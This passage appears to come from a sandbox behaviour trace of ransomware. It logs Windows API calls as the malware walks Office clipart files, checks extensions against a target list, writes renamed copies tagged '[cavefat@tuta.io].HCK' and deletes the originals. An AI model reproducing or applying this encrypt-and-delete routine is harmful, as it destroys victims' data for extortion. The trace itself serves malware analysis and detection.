dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.810] SetEndOfFile (hFile=0x548) returned 1 [0234.812] CloseHandle (hObject=0x548) returned 1 [0234.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".doc") returned 4 [0234.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString=".docx") returned 5 [0234.814] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.814] lstrlenW (lpString=".pdf") returned 4 [0234.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString=".xls") returned 4 [0234.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.814] lstrlenW (lpString=".xlsx") returned 5 [0234.814] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.814] lstrlenW (lpString=".ppt") returned 4 [0234.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".zip") returned 4 [0234.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.814] lstrlenW (lpString=".rar") returned 4 [0234.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString=".bz2") returned 4 [0234.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString=".7z") returned 3 [0234.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".dbf") returned 4 [0234.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".1cd") returned 4 [0234.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".jpg") returned 4 [0234.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.814] lstrlenW (lpString=".doc") returned 4 [0234.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.814] lstrlenW (lpString=".docx") returned 5 [0234.815] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.815] lstrlenW (lpString=".pdf") returned 4 [0234.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString=".xls") returned 4 [0234.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.815] lstrlenW (lpString=".xlsx") returned 5 [0234.815] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.815] lstrlenW (lpString=".ppt") returned 4 [0234.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.815] lstrlenW (lpString=".zip") returned 4 [0234.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.815] lstrlenW (lpString=".rar") returned 4 [0234.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString=".bz2") returned 4 [0234.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString=".7z") returned 3 [0234.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.815] lstrlenW (lpString=".dbf") returned 4 [0234.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.815] lstrlenW (lpString=".1cd") returned 4 [0234.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0234.815] lstrlenW (lpString=".jpg") returned 4 [0234.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.815] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.815] lstrlenW (lpString="J0107496.WMF") returned 12 [0234.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.816] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8864) returned 1 [0234.816] CloseHandle (hObject=0x548) returned 1 [0234.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0234.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.817] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.817] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0234.818] GetLastError () returned 0x0 [0234.818] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x22a0, lpOverlapped=0x0) returned 1 [0234.819] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0234.820] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.820] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.820] SetEndOfFile (hFile=0x4b8) returned 1 [0234.820] CloseHandle (hObject=0x4b8) returned 1 [0234.821] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.821] SetEndOfFile (hFile=0x548) returned 1 [0234.900] CloseHandle (hObject=0x548) returned 1 [0234.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0234.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.901] lstrlenW (lpString=".doc") returned 4 [0234.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.901] lstrlenW (lpString=".docx") returned 5 [0234.901] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.901] lstrlenW (lpString=".pdf") returned 4 [0234.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.901] lstrlenW (lpString=".xls") returned 4 [0234.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.901] lstrlenW (lpString=".xlsx") returned 5 [0234.901] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.902] lstrlenW (lpString=".ppt") returned 4 [0234.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".zip") returned 4 [0234.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.902] lstrlenW (lpString=".rar") returned 4 [0234.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".bz2") returned 4 [0234.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".7z") returned 3 [0234.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".dbf") returned 4 [0234.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".1cd") returned 4 [0234.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".jpg") returned 4 [0234.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".doc") returned 4 [0234.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".docx") returned 5 [0234.902] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.902] lstrlenW (lpString=".pdf") returned 4 [0234.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".xls") returned 4 [0234.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.902] lstrlenW (lpString=".xlsx") returned 5 [0234.902] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.902] lstrlenW (lpString=".ppt") returned 4 [0234.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".zip") returned 4 [0234.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.902] lstrlenW (lpString=".rar") returned 4 [0234.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".bz2") returned 4 [0234.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString=".7z") returned 3 [0234.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".dbf") returned 4 [0234.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".1cd") returned 4 [0234.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0234.902] lstrlenW (lpString=".jpg") returned 4 [0234.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.903] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.903] lstrlenW (lpString="J0107500.WMF") returned 12 [0234.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.904] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4200) returned 1 [0234.904] CloseHandle (hObject=0x548) returned 1 [0234.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0234.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.905] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.905] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0234.905] GetLastError () returned 0x0 [0234.905] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1068, lpOverlapped=0x0) returned 1 [0234.907] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1070, lpOverlapped=0x0) returned 1 [0235.054] ReadFile (in: hFile=0x548, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.054] WriteFile (in: hFile=0x4b8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.054] SetEndOfFile (hFile=0x4b8) returned 1 [0235.449] CloseHandle (hObject=0x4b8) returned 1 [0235.449] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.449] SetEndOfFile (hFile=0x548) returned 1 [0235.451] CloseHandle (hObject=0x548) returned 1 [0235.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".doc") returned 4 [0235.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".docx") returned 5 [0235.879] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0235.879] lstrlenW (lpString=".pdf") returned 4 [0235.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".xls") returned 4 [0235.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.879] lstrlenW (lpString=".xlsx") returned 5 [0235.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0235.879] lstrlenW (lpString=".ppt") returned 4 [0235.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".zip") returned 4 [0235.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.879] lstrlenW (lpString=".rar") returned 4 [0235.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".bz2") returned 4 [0235.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".7z") returned 3 [0235.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".dbf") returned 4 [0235.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".1cd") returned 4 [0235.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".jpg") returned 4 [0235.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.879] lstrlenW (lpString=".doc") returned 4 [0235.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".docx") returned 5 [0235.879] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0235.879] lstrlenW (lpString=".pdf") returned 4 [0235.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.879] lstrlenW (lpString=".xls") returned 4 [0235.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.879] lstrlenW (lpString=".xlsx") returned 5 [0235.880] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0235.880] lstrlenW (lpString=".ppt") returned 4 [0235.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.880] lstrlenW (lpString=".zip") returned 4 [0235.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.880] lstrlenW (lpString=".rar") returned 4 [0235.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.880] lstrlenW (lpString=".bz2") returned 4 [0235.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.880] lstrlenW (lpString=".7z") returned 3 [0235.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.880] lstrlenW (lpString=".dbf") returned 4 [0235.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.880] lstrlenW (lpString=".1cd") returned 4 [0235.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0235.880] lstrlenW (lpString=".jpg") returned 4 [0235.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.880] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.880] lstrlenW (lpString="J0107742.WMF") returned 12 [0235.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.881] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3644) returned 1 [0235.881] CloseHandle (hObject=0x3c4) returned 1 [0235.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220 [0235.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.885] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.885] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.886] GetLastError () returned 0x0 [0235.886] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0235.887] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xe40, lpOverlapped=0x0) returned 1 [0235.888] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.888] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.888] SetEndOfFile (hFile=0x3bc) returned 1 [0235.888] CloseHandle (hObject=0x3bc) returned 1 [0235.888] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.888] SetEndOfFile (hFile=0x3c4) returned 1 [0235.891] CloseHandle (hObject=0x3c4) returned 1 [0235.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 